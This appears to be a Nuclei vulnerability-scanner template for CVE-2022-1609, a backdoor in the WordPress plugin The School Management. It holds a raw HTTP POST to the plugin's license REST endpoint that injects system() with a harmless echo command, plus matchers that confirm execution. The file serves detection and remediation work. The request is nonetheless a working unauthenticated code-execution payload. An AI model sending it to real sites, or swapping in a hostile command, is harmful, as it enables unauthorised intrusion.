id: CVE-2022-1609

info:
  name: The School Management < 9.9.7 - Remote Code Execution
  author: For3stCo1d
  severity: critical
  description: The School Management plugin before version 9.9.7 contains an obfuscated backdoor injected in it's license checking code that registers a REST API handler, allowing an unauthenticated attacker to execute arbitrary PHP code on the site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade The School Management to version 9.9.7 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/e2d546c9-85b6-47a4-b951-781b9ae5d0f2
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1609
    - https://github.com/nastar-id/WP-school-management-RCE
    - https://github.com/nomi-sec/PoC-in-GitHub
    - https://github.com/0x007f/cve-2022-1609-exploit
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-1609
    cwe-id: CWE-94
    epss-score: 0.64321
    epss-percentile: 0.9913
    cpe: cpe:2.3:a:weblizar:school_management:*:*:*:*:pro:wordpress:*:*
  metadata:
    verified: false
    max-request: 1
    vendor: weblizar
    product: school_management
    framework: wordpress
  tags: cve,cve2022,rce,wp,backdoor,wpscan,wordpress,weblizar,vkev,vuln
variables:
  cmd: "echo CVE-2022-1609 | rev"

http:
  - raw:
      - |
        POST /wp-json/am-member/license HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        blowfish=1&blowf=system('{{cmd}}');

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '9061-2202-EVC'
# digest: 490a00463044022053d7e3661d63d10dca54dae5d0783b9cb1ac0d96dddf76035060837c4a2c46ad0220188880791322f0749cb40c250435266f6effb2dc21e3ea121741d06f74bd0faa:922c64590222798bb761d5b6d8e72950